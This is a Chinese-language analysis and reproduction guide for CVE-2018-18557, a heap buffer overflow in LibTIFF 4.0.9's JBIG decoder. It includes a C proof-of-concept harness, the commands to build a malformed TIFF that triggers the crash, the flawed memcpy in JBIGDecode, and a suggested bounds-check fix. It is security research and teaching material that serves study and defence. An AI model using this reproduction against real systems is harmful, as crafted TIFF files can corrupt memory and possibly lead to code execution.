CVE-2018-18557复现与分析
字数 1055 2025-08-25 22:58:34
LibTIFF CVE-2018-18557漏洞分析与复现指南
漏洞概述
CVE-2018-18557是LibTIFF 4.0.9版本中存在的一个堆缓冲区溢出漏洞,当启用JBIG支持时,该漏洞允许攻击者通过特制的TIFF文件导致内存破坏。
漏洞细节
- 影响版本:LibTIFF 4.0.9(需启用JBIG支持)
- 漏洞类型:堆缓冲区溢出
- 漏洞位置:
tif_jbig.c中的JBIGDecode函数 - 根本原因:解码JBIG数据时未验证缓冲区大小,导致可以写入超出分配内存边界的数据
环境准备
依赖安装
首先需要安装JBIG支持库:
sudo apt-get install libjbig-dev
编译LibTIFF 4.0.9
./configure --prefix=/path/to/install
make && make install
TIFF文件格式基础
TIFF(Tagged Image File Format)是一种灵活的图像文件格式,由三部分组成:
- 文件头信息区(IFH):包含文件标识和第一个IFD的偏移量
- 图像文件目录(IFD):包含描述图像属性的多个目录项(DE)
- 图像数据区:存储实际的像素数据
IFD中的目录项可以描述图像的各种属性,如图像宽度、高度、压缩方式等。
漏洞复现
1. 准备POC代码
主测试程序(poc.c):
#include <stdio.h>
#include "tiffio.h"
int main(int argc, char const *argv[]) {
if (argc < 2) {
printf("usage: %s <tif file>\n", argv[0]);
return -1;
}
TIFF* tif = TIFFOpen(argv[1], "r");
if (tif) {
tdata_t buf;
tstrip_t strip;
buf = _TIFFmalloc(TIFFStripSize(tif));
for (strip = 0; strip < TIFFNumberOfStrips(tif); strip++)
TIFFReadEncodedStrip(tif, strip, buf, (tsize_t)-1);
puts("it will crash,because heap space has been overflow:\n");
_TIFFfree(buf); //<<< 这里会崩溃
TIFFClose(tif);
}
}
编译命令:
gcc ./poc.c -g -o poc -I ./build/include/ -L ./build/lib/ ./build/lib/libtiff.a -ljbig -lm -lz
2. 生成恶意TIFF文件
使用testcase_generator.c生成恶意TIFF文件:
gcc testcase_generator.c -g -o testcase_generator -ljbig
生成测试文件:
echo "aaaa..." > text # 填充大量数据
./testcase_generator text testcase.tif
3. 触发漏洞
./poc ./testcase.tif
预期结果:程序在释放内存时崩溃,因为堆空间已被溢出数据破坏。
漏洞分析
函数调用链
TIFFReadEncodedStrip()是入口函数- 通过函数指针调用
JBIGDecode() JBIGDecode()调用_TIFFmemcpy()执行不安全的拷贝
关键漏洞代码
在JBIGDecode函数中:
pImage = jbg_dec_getimage(&decoder, 0);
_TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder)); // 无长度检查
问题在于:
jbg_dec_getsize()从TIFF文件中读取长度值,完全信任输入- 没有验证目标缓冲区
buffer的大小是否足够 - 直接使用
memcpy进行拷贝,导致堆溢出
调试观察
- 分配的堆缓冲区大小可能只有0xb30字节
- 但拷贝的数据长度可能达到0x26d0字节
- 导致大量数据溢出到相邻内存区域
修复建议
- 升级到最新版本的LibTIFF
- 在
JBIGDecode中添加长度验证:
tmsize_t decoded_size = jbg_dec_getsize(&decoder);
if (decoded_size > size) {
// 错误处理
return 0;
}
_TIFFmemcpy(buffer, pImage, decoded_size);
总结
CVE-2018-18557展示了在处理复杂图像格式时输入验证的重要性。LibTIFF在解码JBIG数据时完全信任了输入文件中的长度字段,导致了堆溢出漏洞。通过精心构造的TIFF文件,攻击者可以利用此漏洞实现内存破坏,可能导致任意代码执行。